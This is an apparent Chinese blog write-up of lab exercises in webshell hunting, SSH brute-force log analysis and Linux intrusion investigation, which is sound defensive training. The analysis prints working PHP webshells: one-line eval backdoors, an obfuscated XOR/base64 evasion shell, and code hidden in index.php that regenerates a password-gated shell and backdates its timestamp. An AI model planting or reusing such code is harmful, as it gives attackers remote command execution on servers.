本文最后更新于 2025年3月20日 晚上
webshell 查杀 & Linux 日志分析 & Linux 入侵排查
查找 shell 方法 查找有 Webshell 特征的文件内容
1 2 3 4 find ./ type f -name ".jsp" | xargs grep "exec(" find ./ type f -name ".php" | xargs grep "eval(" find ./ type f -name ".asp" | xargs grep "execute(" find ./ type f -name ".aspx" | xargs grep "eval("
对于免杀 Webshell,可以查看是否使用编码
1 find ./ type f -name "*.php" | xargs grep "base64_decode"
Linux 日志分析 简介 1 2 3 4 5 6 7 账号 root 密码 linuxrz ssh root@IP 1 .有多少IP 在爆破主机ssh的root帐号,如果有多个使用"," 分割2. ssh爆破成功登陆的IP 是多少,如果有多个使用"," 分割3 .爆破用户名字典是什么?如果有多个使用"," 分割4 .登陆成功的IP 共爆破了多少次5 .黑客登陆主机后新建了一个后门用户,用户名是多少
Q1 Linux 默认日志存放在 /var/log
目录下,所以直接进入
发现有很多日志文件,auth.log.1
文件是一个非常重要的系统日志文件,包含了许多与安全相关的信息,可以用于监控、分析和排查系统故障和安全问题,所以我们可以查看它的内容信息,根据题目来看在爆破 root 账号,那么可以 grep
过滤一些
1 cat auth.log.1 | grep -a "Failed password for root"
找到三个 IP:192.168.200.32,192.168.200.2,192.168.200.31
1 flag {192.168.200.2 ,192.168.200.31 ,192.168.200.32 }
Q2 需要查看成功登录的 IP
1 cat auth.log.1 | grep -a "Accepted"
Q3 对登陆失败的用户名进行查找
1 cat auth.log.1 | grep -a "Failed password"
可以发现有 6 个用户:test1、test2、test3、root、user、hello
1 flag{user ,hello,root,test3,test2,test1}
Q4 前面 Q2 已经查找到了 IP 192.168.200.2
是登陆成功了的,所以这里看 192.168.200.2 的次数就正确
1 cat auth.log.1 | grep -a "Failed password for root"
Q5 题目说新建了一个用户,查找 new user
1 cat auth.log.1 | grep -a "new user"
webshell 查杀 简介 1 2 3 4 5 靶机账号密码 root xjwebshell1. 黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}2. 黑客使用的什么工具的shell github地址的md5 flag{md5 }3. 黑客隐藏shell的完整路径的md5 flag{md5 } 注 : /xxx/xxx/xxx/xxx/xxx.xxx4. 黑客免杀马完整路径 md5 flag{md5 }
Q1 一般来说网页文件一般在 /var/www/html
路径下,可以进入目录查找,php
文件查找危险函数 eval()
1 find ./ -name "*.php" | xargs grep "eval("
1 2 3 4 root@ip-10-0-10-1:/var/www/html# find ./ -name "*.php" | xargs grep "eval(" ./include/gz.php: eval ($payload ); ./include/Db/.Mysqli.php: eval ($payload ); ./shell.php:<?php phpinfo();@eval ($_REQUEST [1]);?>
查看 gz.php 内容
拿到 flag
1 flag{027ccd04 -5065 -48b6 -a32d-77c704a5e26d}
Q2 可以看到 webshell 内容中有
1 2 3 @session_start (); @set_time_limit (0 ); @error_reporting (0 );
这是哥斯拉生成的 webshell 特征,哥斯拉项目地址:https://github.com/BeichenDream/Godzilla
1 flag {39392 de3218c333f794befef07ac9257}
Q3 寻找隐藏 shell,在 Q1 中有危险函数的还有其他文件,访问目录查找
1 ./include/Db/.Mysqli.php
对路径 /var/www/html/include/Db/.Mysqli.php
进行 md5 加密
1 2 root@ip -10 -0 -10 -1 :/var/www/html/include/Db aebac0e58cd6c5fad1695ee4d1ac1919
得到 flag
1 flag {aebac0e58cd6c5fad1695ee4d1ac1919}
Q4 免杀马通过静态检测是检测不到的,因为在免杀的过程中将 webshell 的特征值以及特征函数都给去掉了,但是 webshell 执行会在网站日志留下记录,所以可以到日志里面看有无可疑记录
目录下有 apache2
日志记录,然后查看其目录下的 access.log
文件
可以看到 /wap
下的 top.php 文件执行了两次 phpinfo()
查看 top.php 文件
1 2 3 4 5 6 7 8 9 10 11 12 <?php $key = "password" ;$fun = base64_decode ($_GET ['func' ]);for ($i =0 ;$i <strlen ($fun );$i ++){ $fun [$i ] = $fun [$i ]^$key [$i +1 &7 ]; }$a = "a" ;$s = "s" ;$c =$a .$s .$_GET ["func2" ];
是免杀马了,md5 加密/var/www/html/wap/top.php
1 flag {eeff2eabfd9b7a6d26fc1a53d3f7d1de}
Linux 入侵排查 简介 1 2 3 4 5 6 7 账号:root 密码:linuxruqin ssh root@IP 1. web目录存在木马,请找到木马的密码提交2 .服务器疑似存在不死马,请找到不死马的密码提交3 .不死马是通过哪个文件生成的,请提交文件名4 .黑客留下了木马文件,请找出黑客的服务器ip 提交5 .黑客留下了木马文件,请找出黑客服务器开启的监端口提交
Q1 进入 web 目录查找
一般来说 php 文件比较可疑,查看 1.php
1 <?php eval ($_POST [1 ]);?>
拿到 flag
Q2 过滤 php 文件
1 2 3 4 root@ip-10-0-10-7:/var/www/html# find ./ -name "*php" | xargs grep "eval(" ./.shell.php:<?php if (md5($_POST ["pass" ])=="5d41402abc4b2a76b9719d911017c592" ){@eval ($_POST [cmd]);}?> ./index.php:$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>' ; ./1.php:<?php eval ($_POST [1]);?>
md5 解密
Q3 因为前面显示 index.php
文件中也有木马密码,所以查看一下文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php include ('config.php' );include (SYS_ROOT.INC.'common.php' );$path =$_SERVER ['PATH_INFO' ].($_SERVER ['QUERY_STRING' ]?'?' .str_replace ('?' ,'' ,$_SERVER ['QUERY_STRING' ]):'' );if (substr ($path , 0 ,1 )=='/' ){ $path =substr ($path ,1 ); }$path = Base ::safeword ($path );$ctrl =isset ($_GET ['action' ])?$_GET ['action' ]:'run' ;if (isset ($_GET ['createprocess' ])) { Index ::createhtml (isset ($_GET ['id' ])?$_GET ['id' ]:0 ,$_GET ['cat' ],$_GET ['single' ]); }else { Index ::run ($path ); }$file = '/var/www/html/.shell.php' ;$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>' ;file_put_contents ($file , $code );system ('touch -m -d "2021-01-01 00:00:01" .shell.php' );usleep (3000 );?>
能看见通过这个文件生成了不死马
Q4 在 web 目录下是有一个可疑的 'shell(1).elf'
文件,赋予权限然后运行
虽然没有回显,但是可以再开一个终端,然后查找连接情况
找到 IP
Q5 同样找到端口